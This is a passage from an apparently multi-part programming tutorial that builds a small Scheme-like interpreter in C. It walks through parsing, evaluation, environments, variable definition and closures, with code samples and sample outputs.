        case OBJ_TYPE_SYMBOL: {
            if (root->symbol != NULL) {
                free(root->symbol);
            }
            free(root);
        } break;
        case OBJ_TYPE_STRING: {
            if (root->string != NULL) {
                free(root->string);
            }
            free(root);
        } break;
        case OBJ_TYPE_PAIR: {
            if (root->car != NULL) {
                free_objects(root->car);
            }
            if (root->cdr != NULL) {
                free_objects(root->cdr);
            }
            free(root);
        } break;
    }
}

Finally we will use the same recursive technique to display our objects. We have a special case for printing pairs, since when the pairs contain a non nil object in the cdr they are typically represented separated by a dot ..

void display(Object *root);

void
display_pair(Object *root) {
    display(root->car);
    if (root->cdr->type == OBJ_TYPE_PAIR) {
        printf(" ");
        display_pair(root->cdr);
    } else if (root->cdr == obj_nil) {
        return;
    } else {
        printf(" . ");
        display(root->cdr);
    }
}

void
display(Object *root) {
    switch (root->type) {
        case OBJ_TYPE_FIXNUM: {
            printf("%zd", root->fixnum);
        } break;
        case OBJ_TYPE_BOOL: {
            if (root == obj_true) {
                printf("true");
            } else {
                printf("false");
            }
        } break;
        case OBJ_TYPE_NIL: {
            printf("()");
        } break;
        case OBJ_TYPE_STRING: {
            printf("\"%.*s\"", (int)root->string_n, root->string);
        } break;
        case OBJ_TYPE_SYMBOL: {
            printf(":%.*s", (int)root->symbol_n, root->symbol);
        } break;
        case OBJ_TYPE_PAIR: {
            printf("(");
            display_pair(root);
            printf(")");
        } break;
        case OBJ_TYPE_PROCEDURE: {
            printf("#{procedure}");
        } break;
        case OBJ_TYPE_ERR: {
            printf("#{error}");
        } break;
    }
    return;
}

Parsing tokens

We will be using a similar approach as we did with our character scanner. First, we build some helper functions to visit tokens without altering the original input:

typedef struct Visitor {
    Tokens tokens;
    size_t current;
} Visitor;

Token
peek_token(const Visitor *visitor) {
    return visitor->tokens.buf[visitor->current];
}

Token
next_token(Visitor *visitor) {
    return visitor->tokens.buf[visitor->current++];
}

bool
has_next_token(const Visitor *visitor) {
    return visitor->current < visitor->tokens.size;
}

Let’s setup the base parsing function, which is just a giant switch statement.

Object *
parse_tree(Visitor *vs) {
    Token tok = next_token(vs);
    switch (tok.type) {
        case TOKEN_FIXNUM: {
            return parse_fixnum(tok);
        } break;
        case TOKEN_TRUE: {
            return obj_true;
        } break;
        case TOKEN_FALSE: {
            return obj_false;
        } break;
        case TOKEN_RPAREN: {
            error_push((Error){
                .type = ERR_TYPE_PARSER,
                .value = ERR_UNBALANCED_PAREN,
                .line = tok.line,
                .col = tok.column,
            });
            return obj_err;
        } break;
        case TOKEN_QUOTE: {
            Object *quote_sym = make_symbol((StringView){"quote", 5});
            Object *next_obj = parse_tree(vs);
            if (next_obj == obj_err) {
                free_objects(quote_sym);
                return obj_err;
            }
            return make_pair(quote_sym, make_pair(next_obj, obj_nil));
        } break;
        case TOKEN_LPAREN: {
            Object *obj = parse_list(vs);
            if (obj == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_PARSER,
                    .value = ERR_UNBALANCED_PAREN,
                    .line = tok.line,
                    .col = tok.column,
                });
            }
            return obj;
        } break;
        case TOKEN_STRING: {
            Object *obj = make_string();
            append_string(obj, tok.value);
            return obj;
        } break;
        case TOKEN_SYMBOL: {
            return make_symbol(tok.value);
        } break;
        case TOKEN_NIL: {
            return obj_nil;
        } break;
        default: {
            break;
        } break;
    }
    error_push((Error){
        .type = ERR_TYPE_PARSER,
        .value = ERR_EOF_REACHED,
        .line = tok.line,
        .col = tok.column,
    });
    return obj_err;
}

We handle the fixnum parsing on a separate function for simplicity.

Object *
parse_fixnum(Token tok) {
    ssize_t num = 0;
    int sign = 1;
    for (size_t i = 0; i < tok.value.n; i++) {
        char c = tok.value.start[i];
        if (c == '-') {
            sign = -1;
            continue;
        }
        num = num * 10 + (c - '0');
    }
    return make_fixnum(num * sign);
}

The list parsing also happens in a separate function and it allow us to create a recursive descent parser by calling the base function for each subsequent token.

Object *
parse_list(Visitor *vs) {
    Token tok = peek_token(vs);
    if (tok.type == TOKEN_EOF) {
        return obj_err;
    }
    Object *next_obj = parse_tree(vs);
    if (next_obj == obj_err) {
        return obj_err;
    }
    Object *root = make_pair(next_obj, obj_nil);
    Object *list = root;
    while (has_next_token(vs)) {
        Token tok = peek_token(vs);
        if (tok.type == TOKEN_RPAREN) {
            next_token(vs);
            break;
        }
        if (tok.type == TOKEN_EOF) {
            free_objects(root);
            return obj_err;
        }
        next_obj = parse_tree(vs);
        if (next_obj == obj_err) {
            free_objects(root);
            return obj_err;
        }
        list->cdr = make_pair(next_obj, obj_nil);
        list = list->cdr;
    }
    return root;
}

We have to be careful when finding errors and free the memory if its going to go out of scope. We don’t want to be leaking memory right? We also added a bunch of new errors:

static const char* error_msgs[] = {
    [ERR_UNKNOWN] = "error: something unexpected happened",
    [ERR_UNMATCHED_STRING] = "error: unmatched string delimiter",
    [ERR_UNBALANCED_PAREN] = "error: unbalanced parentheses",
    [ERR_NOT_IMPLEMENTED] = "error: not implemented",
    [ERR_EOF_REACHED] = "error: EOF reached",
    [ERR_UNKNOWN_TOKEN] = "error: unknown token",
};

Conclusion

To hook everything up we only need to adjust the process_source function as follows.

    Visitor visitor = (Visitor){
        .tokens = tokens,
        .current = 0,
    };
    while (has_next_token(&visitor) && peek_token(&visitor).type != TOKEN_EOF) {
        Object *root = parse_tree(&visitor);
        if (root == obj_err || errors_n != 0) {
            free_objects(root);
            break;
        }
        display(root);
        printf("\n");
        free_objects(root);
    }

The parse_tree function returns the output of a single statement. If our program has multiple statements we want them to be executed one after another, for example:

(+ 1 2 3 4)

(* 2 3 4)

This should evaluate the first expression 10 and then the second 24. In many Scheme implementations, even when all expressions are evaluated only the results from the last one will be shown. We will talk about that very soon, but for now you can test the implementation with different edge cases and see if we are generating the right AST.

In the next article we will talk about expression evaluation, introduce the concept of “environments” and add our first primitive procedures. As usual the code at this point in time can be found on tag v0.3. See you soon!

Introduction

With the code from the previous issue of this series we now have access to a system that generates AST trees from a series of tokens for each of the expressions in our language. We have a recursive algorithm for displaying the tree, but how do we go about “evaluating” it? Well, primitive types such as fixnums, booleans, nil or strings just evaluate to themselves. A symbol evaluates by performing a lookup to try to find the object associated with it. We will discuss this more in the next section.

A pair list evaluates to a procedure call, where the first element is the symbol name corresponding to the procedure name, and the rest are consider the parameters of that procedure. This could be done with a recursive call to eval but we want procedure calls to be tail-call optimized so we need to account for this, otherwise recursive functions will explode the stack.

Here is the basis of the eval function, note that the reported runtime error doesn’t have access to a line/col count, making debugging more complicated that it has to be. We will address that in the future, but for now let’s focus on the evaluation:

Object *
eval(Object *root) {
    switch (root->type) {
        case OBJ_TYPE_FIXNUM:
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_STRING: {
            return root;
        } break;
        case OBJ_TYPE_SYMBOL: {
            // TODO: Implement...
        } break;
        case OBJ_TYPE_PAIR: {
            // TODO: Implement...
        } break;
        default: {
            break;
        } break;
    }

    error_push((Error){
        .type = ERR_TYPE_RUNTIME,
        .value = ERR_UNKNOWN_OBJ_TYPE,
        .line = 0,
        .col = 0,
    });
    return obj_err;
}

We adjust the process_source function so that we can start testing our evaluator. As the ominous FIXME comment mentions, we may be leaking memory, but we will have to worry about that in the future.

    while (has_next_token(&visitor) && peek_token(&visitor).type != TOKEN_EOF) {
        Object *root = parse_tree(&visitor);
        if (root == obj_err || errors_n != 0) {
            free_objects(root);
            break;
        }

        // FIXME: Not freeing result or intermediate objects, can leak memory.
        Object *result = eval(root);
        printf("AST: ");
        display(root);
        printf("\n");
        printf("EVAL: ");
        display(result);
        printf("\n");
        free_objects(root);
    }

You can create a small test.bdl program to see if things are working properly.

1
"test"
true
false
()
a
'test
(+ 1 2 (+ 3 4))

Just run it with ./build/bdl test.bdl and you should be getting the following result so far:

AST: 1
EVAL: 1
AST: "test"
EVAL: "test"
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: #{error}
test.bdl: error: can't eval unknown object type

When it encounters a symbol, it returns an error, as expected. I used the same procedure explained earlier for error reporting so from now on I’ll skip the explanation of how to add new error types. Let’s start exploring how to deal with symbols.

Symbols, scoping and environments

As previously mentioned, a symbol will evaluate as a lookup for an associated object. But where do we look things? Well first we need to talk about scopes. Scheme is a lexically scoped language and the context of a symbol depends on the scope we are in. For example:

(define a 10)
(define b 60)

(let ((a 20))
    (display b)
    (display a)
    (set! a 42)
    (display a)
    (newline))

(display a)
(newline)

In a correct implementation this should print:

60
20
42
10

Note how the variable in the global scope is not affected by the let binding or the set! procedure. We can have an arbitrary number of nested scopes, with symbols “shadowing” each other so we need a way of looking up a symbol in the current scope, and if we don’t find it go to the previous one and so on.

We can implement this in C via chained environments. We will use a simple approach, where every environment is a dynamic array of Object to Object pairs. To look up a symbol we linearly traverse the entire array to find a matching symbol and if we don’t find it in this scope we repeat the process in the parent environment until we reach the root. Normally we could use a HashTable data structure for this kind of thing, since in theory its a O(1) lookup instead of O(n). However, for small arrays a hash table might actually be slower, since we may incur more cache misses. In any case, a dynamic array is easier to implement and understand for now, we can always revisit this later as an optimization. Here is how the Environment structure looks like:

typedef struct EnvEntry {
    Object *symbol;
    Object *value;
} EnvEntry;

typedef struct Environment {
    struct Environment *parent;
    EnvEntry *buf;
    size_t size;
    size_t cap;
} Environment;

We will consider an Environment to be the top level if parent == NULL. Now we just need to create a couple of helper functions to create and expand and environment:

static Environment *global_env;

#define ENV_BUF_CAP 8

Environment *
env_create(Environment *parent) {
    Environment *env = malloc(sizeof(Environment));
    env->parent = parent;
    env->buf = NULL;
    env->size = 0;
    env->cap = ENV_BUF_CAP;
    return env;
}

void
env_add_symbol(Environment *env, Object *symbol, Object *value) {
    if (symbol->type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_A_SYMBOL,
            .line = 0,
            .col = 0,
        });
        return;
    }
    if (env->buf == NULL) {
        env->size = 0;
        env->cap = ENV_BUF_CAP;
        env->buf = malloc(env->cap * sizeof(EnvEntry));
    } else if (env->size == env->cap) {
        env->cap *= 2;
        env->buf = realloc(env->buf, env->cap * sizeof(EnvEntry));
    }
    env->buf[env->size++] = (EnvEntry){symbol, value};
}

We create a global environment that we will be initializing on the init function. We add the :a symbol to the global environment for testing purposes.

    // Global environment.
    global_env = env_create(NULL);
    env_add_symbol(global_env, MAKE_SYM("a"), make_fixnum(4)); // NOTE: for testing only

Here we are using the MAKE_SYM macro, which is a simple helper defined as follows:

#define MAKE_SYM(STR) make_symbol((StringView){(STR), sizeof(STR) - 1})

Our lookup function is very simple:

Object *
env_lookup(Environment *env, Object *symbol) {
    while (env != NULL) {
        for (size_t i = 0; i < env->size; i++) {
            EnvEntry entry = env->buf[i];
            if (obj_eq(symbol, entry.symbol)) {
                return entry.value;
            }
        }
        env = env->parent;
    }
    return obj_err;
}

It depends on the following equality function. For simplicity we are not yet handling the OBJ_TYPE_PAIR:

bool
obj_eq(Object *a, Object* b) {
    if (a->type != b->type) {
        return false;
    }
    switch (a->type) {
        case OBJ_TYPE_FIXNUM: {
            return a->fixnum == b->fixnum;
        } break;
        case OBJ_TYPE_STRING: {
            if (a->string_n != b->string_n) {
                return false;
            }
            for (size_t i = 0; i < a->string_n; i++) {
                if (a->string[i] != b->string[i]) {
                    return false;
                }
            }
        } break;
        case OBJ_TYPE_SYMBOL: {
            if (a->symbol_n != b->symbol_n) {
                return false;
            }
            for (size_t i = 0; i < a->symbol_n; i++) {
                if (a->symbol[i] != b->symbol[i]) {
                    return false;
                }
            }
        } break;
        case OBJ_TYPE_PAIR: {
            // TODO: needs evaluation of parameters...
        } break;
        default: {
            return a == b;
        } break;
    }
    return true;
}

Almost there! We have to modify the eval function to accept an environment and add the symbol lookup.

Object *
eval(Environment* env, Object *root) {
        ...

        case OBJ_TYPE_SYMBOL: {
            Object *val = env_lookup(env, root);
            if (val == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_SYMBOL_NOT_FOUND,
                    .line = 0,
                    .col = 0,
                });
                return obj_err;
            }
            return val;
        } break;

        ...

If we test our previous script with this version, we should get something like this:

AST: 1
EVAL: 1
AST: "test"
EVAL: "test"
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: 4
AST: (:quote :test)
EVAL: #{error}
test.bdl: error: symbol not found

As you can see the evaluator is able to resolve the :a symbol into the hardcoded value 4.

Procedure evaluation

Now that we have a way of resolving symbol lookups, we can finally implement the execution of native primitive procedures. If the object we are currently trying to evaluate is a list, we try to resolve the symbol for the first element. If the resulting value is a primitive procedure, we call it with the tail of the list as parameters.

    case OBJ_TYPE_PAIR: {
        if (root->car->type == OBJ_TYPE_SYMBOL) {
            Object *val = env_lookup(env, root->car);
            if (val == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_SYMBOL_NOT_FOUND,
                    .line = 0,
                    .col = 0,
                });
                return obj_err;
            }
            if (val->type == OBJ_TYPE_PROCEDURE) {
                return val->proc(env, root->cdr);
            }
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_OBJ_NOT_CALLABLE,
                .line = 0,
                .col = 0,
            });
            return obj_err;
        }
    } break;

Note that native procedures don’t know about an environment, so we need to modify our Object type to consider this.

typedef struct Object {
    ObjectType type;
    union {
        ...

        // OBJ_TYPE_PROCEDURE
        struct Object *(*proc)(struct Environment *env, struct Object *args);
    };
} Object;

We are finally ready to add our first primitive procedure. The simplest thing we can do is to resolve the quote by returning (but not evaluating) their arguments.

Object *
proc_quote(Environment *env, Object *obj) {
    (void)env;
    return obj->car;
}

Let’s add this primitive to the global environment and a value for the test symbol to ensure we are not evaluating it:

    // Global environment.
    global_env = env_create(NULL);
    env_add_symbol(global_env, MAKE_SYM("a"), make_fixnum(4)); // NOTE: for testing only
    env_add_symbol(global_env, MAKE_SYM("quote"), make_procedure(proc_quote));
    env_add_symbol(global_env, MAKE_SYM("test"), make_fixnum(6));

Running our test script we now obtain the following output:

...
AST: (:quote :test)
EVAL: :test
AST: (:+ 1 2 (:+ 3 4))
EVAL: #{error}
test.bdl: error: symbol not found

Hurray! It’s working! Now we can start adding a lot of primitive functions, such as arithmetic operations. Let’s test this by adding the proc_sum procedure and binding it to the symbol + on the global scope as before:

Object *
proc_sum(Environment *env, Object *obj) {
    // First argument.
    if (obj == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    Object *car = eval(env, obj->car);
    if (car == obj_err) {
        return obj_err;
    }
    if (car->type != OBJ_TYPE_FIXNUM) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    // Traverse the list.
    obj = obj->cdr;
    ssize_t tot = car->fixnum;
    while (obj->type == OBJ_TYPE_PAIR) {
        Object *car = eval(env, obj->car);
        if (car == obj_err) {
            return obj_err;
        }
        if (car->type != OBJ_TYPE_FIXNUM) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_WRONG_ARG_TYPE,
            });
            return obj_err;
        }
        tot += car->fixnum;
        obj = obj->cdr;
    }
    return make_fixnum(tot);
}

...
    env_add_symbol(global_env, MAKE_SYM("+"), make_procedure(proc_sum));
...

Exciting! If everything went well our little test script should be working properly until the end resulting in the final output of:

AST: 1
EVAL: 1
AST: "test"
EVAL: "test"
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: 4
AST: (:quote :test)
EVAL: :test
AST: (:+ 1 2 (:+ 3 4))
EVAL: 10

Conclusion

We now have the power to evaluate expressions and of running primitive procedures. If you are following along so far, you can try to implement other primitives as an exercise. In the interest of brevity, I added a number of primitive procedures in the src/bootstrap/primitives.c file, which you can find on the v0.4 tag version of the source code. At the end of this process you should be able to run make tests successfully. This brings us to parity with the main branch of the interpreter, so we are threading in new ground for me.

We are potentially leaking memory, but at this point I’m ok with this, since we will be implementing a garbage collector in future issues. We are still not done with environments, however, since we still need to allow the user to define variables, functions and be able to change their values with set!. Very soon we will have access to lambda functions and our language will be Turing complete. We will talk more about this and more in the next installment of this series. See you soon!

Introduction

A lot has changed since last version: now our interpreter can call primitive functions, allowing us to perform computations such as arithmetic operations, checking the type of a given object, or create new lists from previous ones. For example:

BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl> (+ 1 2 (* 2 5) 4)
17

Neat huh? As of v0.4 the following primitive procedures are available. Note that procedures that return a boolean value are suffixed with the ? character. Similarly, procedures that can mutate values will have a ! appended to them:

• (quote e): Return the arguments without evaluation.
• (car e): Return the head (first element) of a list.
• (cdr e): Return the tail (rest of elements) of a list.
• (cons a b): Creates a pair of a and b.
• (list ...): Creates a new list with all given arguments.
• (+ ...), (- ...), (* ...), (/ ...), (% ...): Perform arithmetic operations left to right from all given fixnum arguments.
• (print s): Print the given string. Knows how to interpret the newline escape character '\n'.
• (display o): Display a representation of a given object.
• (newline): Prints a newline.
• (boolean? o), (nil? o), (symbol? o), (string? o), (fixnum? o), (pair? o), (procedure? o): Checks the type of a given object.
• (not o), (and ...), (or ...): Performs logical not, and, or on the set of given objects. Note that any object that is not the obj_false object is considered true (i.e. numeric values, strings, the empty list, etc.).
• (if cond exp-true exp-false): Depending on the boolean result of evaluating the cond condition, we will evaluate either exp-true or exp-false.
• (cond (cond-1 exp-1) (cond-2 exp-2) ... (else exp-n)): Sequentially evaluate the given cond-x until we obtain a true result, in which case that exp-true will be evaluated. The last clause else is optional and is in fact syntactic sugar for true.
• (< ...), (<= ...), (> ...), (>= ...), (= ...): Sequential numerical comparison for all given arguments.
• (eq? a b): Polymorphic equality. If objects have different types, the result will always be false. If strings or symbols are given, it will check if the string or symbol name fully match.

Unless otherwise stated (Only for quote really), any given expression will be resolved before the parent one. For example, this expression (+ 1 (* 2 3) 4) can be traced as follows:

1. Find symbol + in current environment.
2. Call proc_add with the tail of the list (1 (* 2 3) 4).
    2.1 Eval 1 as itself.
    2.2 Eval (* 2 3):
        2.2.1 Find symbol * in current environment
        2.2.2 Call `proc_mul` with (2 3)
        2.2.3 Return the result of 2 * 3 -> 6
    2.3 Add 1 + 6 -> 7
    2.4 Eval 4 as itself
    2.5 Add 7 + 4 -> 11
3. Eval 11 as itself and return

This is great, but we still have no way of declaring our own variables or functions. This is what we will be addressing today, so without further ado, let’s get started.

Defining and setting variables

Let’s start by allowing the user to assign a symbol to a given object. We will call this procedure proc_define and assign it to the global scope with the symbol def. We want to be careful here, however, since we can have nested environments. In other words, we first try to find the given symbol in the current environment and if we can’t find it, we add a new symbol with the given value:

Object *
proc_define(Environment *env, Object *obj) {
    if (obj == obj_nil || obj->cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *symbol = obj->car;
    if (symbol->type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *value = eval(env, obj->cdr->car);
    if (value == obj_err) {
        return obj_err;
    }

    env_add_or_update_current(env, symbol, value);
    return obj_nil;
}

We make use of the env_add_or_update_current function, since we may need to use it in other places of the code:

ssize_t
env_index_current(Environment *env, Object *symbol) {
    for (size_t i = 0; i < env->size; i++) {
        EnvEntry entry = env->buf[i];
        if (obj_eq(symbol, entry.symbol)) {
            return i;
        }
    }
    return -1;
}

void
env_add_or_update_current(Environment *env, Object *symbol, Object *value) {
    ssize_t index = env_index_current(env, symbol);
    if (index == -1) {
        env_add_symbol(env, obj_duplicate(symbol), obj_duplicate(value));
    } else {
        env->buf[index].value = obj_duplicate(value);
    }
}

Similarly, we add the set! procedure, which will try to update an already described value in the current environment or any of the parents recursively.

Object *
proc_set(Environment *env, Object *obj) {
    if (obj == obj_nil || obj->cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *symbol = obj->car;
    if (symbol->type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *value = eval(env, obj->cdr->car);
    if (value == obj_err) {
        return obj_err;
    }

    return env_update(env, symbol, value);
}

Here is the update function:

Object *
env_update(Environment *env, Object *symbol, Object *value) {
    while (env != NULL) {
        for (size_t i = 0; i < env->size; i++) {
            EnvEntry entry = env->buf[i];
            if (obj_eq(symbol, entry.symbol)) {
                env->buf[i].value = obj_duplicate(value);
                return obj_nil;
            }
        }
        env = env->parent;
    }
    error_push((Error){
        .type = ERR_TYPE_RUNTIME,
        .value = ERR_SYMBOL_NOT_FOUND,
    });
    return obj_err;
}

You might have noticed a obj_duplicate function, which we currently have because we free all objects not in the current root expression, so we want to make sure we make a copy of them before assigning them to an environment. We will hopefully get rid of this once we have a garbage collector, but we need it for now to keep things working:

Object *
obj_duplicate(Object *obj) {
    Object *copy = obj_err;
    switch (obj->type) {
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_LAMBDA: // TODO: should we duplicate everything inside?
        case OBJ_TYPE_ERR: {
            copy = obj;
        } break;
        case OBJ_TYPE_FIXNUM: {
            copy = make_fixnum(obj->fixnum);
        } break;
        case OBJ_TYPE_SYMBOL: {
            copy = make_symbol((StringView){obj->symbol, obj->symbol_n});
        } break;
        case OBJ_TYPE_STRING: {
            copy = make_string();
            append_string(copy, (StringView){obj->string, obj->string_n});
        } break;
        case OBJ_TYPE_PAIR: {
            Object *root = make_pair(obj_duplicate(obj->car), obj_nil);
            copy = root;
            obj = obj->cdr;
            while (obj != obj_nil) {
                root->cdr = make_pair(obj_duplicate(obj->car), obj_nil);
                root = root->cdr;
                obj = obj->cdr;
            }
        } break;
    }
    return copy;
}

We should be able to declare variables as follows, which should return the value 100:

(def a 20)
(def b 40)
(+ 40 a b)

Note that the value assigned to a variable will be evaluated before assignment, so you must use quotation if you want to store unevaluated code:

(def a (+ 1 2 3))
;; a == 6
(def b '(+ 1 2 3))
;; b == (+ 1 2 3)

This could come handy for metaprogramming, but we also need a way of evaluating a series of operations stored on a variable. We can do this with the proc_eval primitive, which will evaluate a given tree in the current environment. In the previous example, (eval b) will return 6.

Object *
proc_eval(Environment *env, Object *obj) {
    if (obj == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    return eval(env, eval(env, obj->car));
}

We now have a way of assigning values to names, but how do we define functions? Well user defined functions will be called lambdas, and we can assign lambda functions to symbols as well. Here is a sneak peak of the syntax:

(def myfun (lambda (a b) (+ a b)))

This will assign the result of evaluating the lambda primitive procedure to the symbol named myfun. If we call (myfun 10 20) we will get a result of 30. Declaring functions is such a common operation that we define some syntactic sugar for it with the fun primitive procedure. The following is equivalent to the previous expression:

(fun myfun (a b) (+ a b))

Let’s now talk about how to implement lambdas in our language.

Lambdas and closures

Motivation

First of all, let’s describe the semantics of a lambda function. First of all, we have the names for the variables we pass to the function. These are called “formal parameters”. This lambda function requires two formal parameters, a and b: (lambda (a b) (+ a b)). When calling a lambda function, the formal parameters will be bound to the values given by the caller, these are called “arguments” or “actual parameters”. Following the previous example, we call the lambda like this: ((lambda (a b) (+ a b)) 40 50). Here, the parameter a will be bound to 40 and the parameter b will be bound to the value 50.

The “body” of a lambda expression is composed of an arbitrary number of expressions, the lambda will return the value of the last evaluated expression. For example:

(lambda (a b)
    (def c 20)
    (def d 40)
    (+ a b c d))

The body of that lambda is composed of 3 expressions and the value returned by the lambda is thus the result of the sum of the two actual parameters and the values 20 and 40:

(def c 20)
(def d 40)
(+ a b c d)

So far this is pretty simple right? But what happens if we evaluate the following series of expressions?

(def a 10)
(fun myfun ()
    (display a)
    (print " --- ")
    (def a 42)
    (display a)
    (newline))
(myfun)
(myfun)

Think about it for a second. The answer actually depends on the context of our language. For example, we could get the following output:

10 --- 42
42 --- 42

This is perfectly fine, but what I actually want for our language is for lambdas to capture the current environment they are in. We want our functions to be closures. Conceptually, a lambda creates a new lexical scope, and so modifications to local variables shouldn’t affect the previous state. Thus, the output with this in mind should be:

10 --- 42
10 --- 42

Note that the captured environment, in our case, is a reference to a list of mappings, and so:

(myfun)
(def a 20)
(myfun)

Will result in:

10 --- 42
20 --- 42

Note that this behaviour might be different, depending if the environment capture by the closure is done by reference or by value. We will stick to the aforementioned reference capture for now, as I prefer the semantics.

Keep in mind that we can still modify the values of variables from within a closure. For example:

(def a 20)
(fun inc-a ()
    (set! a (+ a 1))
    a)
(inc-a) ; Returns 21
(inc-a) ; Returns 22
(inc-a) ; Returns 23

If we define an internal symbol, it will be used instead. We can still capture the previous reference if we want! Isn’t that weird and fun?

(def a 20)
(fun myfun ()
     (def a a)
     (set! a (+ a 1))
     a)
(myfun) ; Returns 21
(myfun) ; Returns 21
(def a 30)
(myfun) ; Returns 31

Closures allow us to be very expressive when programming, and can be a powerful construct. For example, look at this classic example:

(fun make-counter ()
    (def value 0)
    (fun counter ()
        (set! value (+ value 1))
        value)
    counter)
(def counter-a (make-counter))
(def counter-b (make-counter))

(counter-a) ;; -> 1
(counter-b) ;; -> 1
(counter-a) ;; -> 2
(counter-a) ;; -> 3
(counter-a) ;; -> 4
(counter-b) ;; -> 2
(counter-b) ;; -> 3
(counter-b) ;; -> 4

We have a function that creates a closure at every call. Each new closure has it’s own environment for the value symbol, which allow us to create as many counters as we want.

Implementation

Hopefully I managed to convince you that closures and lambdas are really cool, but how do we implement them in C? We already have nested environments, which is a good start. We can add a new object type OBJ_TYPE_LAMBDA that keeps track of the parameters and the body of the function. Note that we need to forward declare the Environment struct to get this to compile:

...
    // OBJ_TYPE_PROCEDURE
    struct Object *(*proc)(struct Environment *env, struct Object *args);

    // OBJ_TYPE_LAMBDA
    struct {
        struct Object *params;
        struct Object *body;
        struct Environment *env;
    };
...

We now can create two primitive procedures, one for the lambda function and another for the syntactic sugar for a named function:

Object *
proc_lambda(Environment *env, Object *obj) {
    if (obj == obj_nil || obj->cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }
    Object *params = obj->car;
    if (params != obj_nil && params->type != OBJ_TYPE_PAIR) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }
    Object *body = obj->cdr;
    Object *fun = alloc_object(OBJ_TYPE_LAMBDA);
    fun->params = obj_duplicate(params);
    fun->body = obj_duplicate(body);
    fun->env = env;
    return fun;
}

Object *
proc_fun(Environment *env, Object *obj) {
    if (obj == obj_nil || obj->cdr == obj_nil || obj->cdr->cdr == obj_nil) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_NOT_ENOUGH_ARGS,
        });
        return obj_err;
    }

    Object *name = obj->car;
    if (name->type != OBJ_TYPE_SYMBOL) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }

    Object *params = obj->cdr->car;
    if (params != obj_nil && params->type != OBJ_TYPE_PAIR) {
        error_push((Error){
            .type = ERR_TYPE_RUNTIME,
            .value = ERR_WRONG_ARG_TYPE,
        });
        return obj_err;
    }
    Object *body = obj->cdr->cdr;
    Object *fun = alloc_object(OBJ_TYPE_LAMBDA);
    fun->params = obj_duplicate(params);
    fun->body = obj_duplicate(body);
    fun->env = env;
    env_add_or_update_current(env, name, fun);
    return obj_nil;
}

Now we can turn our attention to the lambda evaluation. We have two possible cases: named and anonymous functions. For a function to be called it needs to be the first element of a list. So if we have a symbol as the first element, we look it up on the current environment to hopefully obtain a primitive procedure or a lambda, if we can’t find the symbol or it is neither of those two, we throw an uncallable error. We could also have a list that after the evaluation returns a lambda procedure. So with that in mind, we can update our evaluation of OBJ_TYPE_PAIR as follows:

...
                 if (val->type == OBJ_TYPE_PROCEDURE) {
                     return val->proc(env, root->cdr);
                 }
                 if (val->type == OBJ_TYPE_LAMBDA) {
                     goto eval_lambda;
                 }
                 error_push((Error){
                     .type = ERR_TYPE_RUNTIME,
                     .value = ERR_OBJ_NOT_CALLABLE,
                 });
                 return obj_err;
             }
             Object* lambda;
 eval_lambda:
             lambda = eval(env, root->car);
             if (lambda == obj_err) {
                 return obj_err;
             }
             if (lambda->type == OBJ_TYPE_LAMBDA) {
                 Object *fun = lambda;
                 Object *args = root->cdr;
                 Object *params = fun->params;
                 env = env_extend(fun->env, env);
                 while (params != obj_nil) {
                     if (args == obj_nil) {
                         error_push((Error){
                             .type = ERR_TYPE_RUNTIME,
                             .value = ERR_NOT_ENOUGH_ARGS,
                         });
                         return obj_err;
                     }
                     Object *symbol = params->car;
                     Object *value = eval(env, args->car);
                     if (value == obj_err) {
                         return obj_err;
                     }
                     if (value == obj_nil) {
                         error_push((Error){
                             .type = ERR_TYPE_RUNTIME,
                             .value = ERR_NOT_ENOUGH_ARGS,
                         });
                         return obj_err;
                     }
                     env_add_or_update_current(env, symbol, value);
                     args = args->cdr;
                     params = params->cdr;
                 }
                 if (args != obj_nil) {
                     error_push((Error){
                         .type = ERR_TYPE_RUNTIME,
                         .value = ERR_TOO_MANY_ARGS,
                     });
                     return obj_err;
                 }
                 root = fun->body;
                 while (root->cdr != obj_nil) {
                     if (eval(env, root->car) == obj_err) {
                         return obj_err;
                     };
                     root = root->cdr;
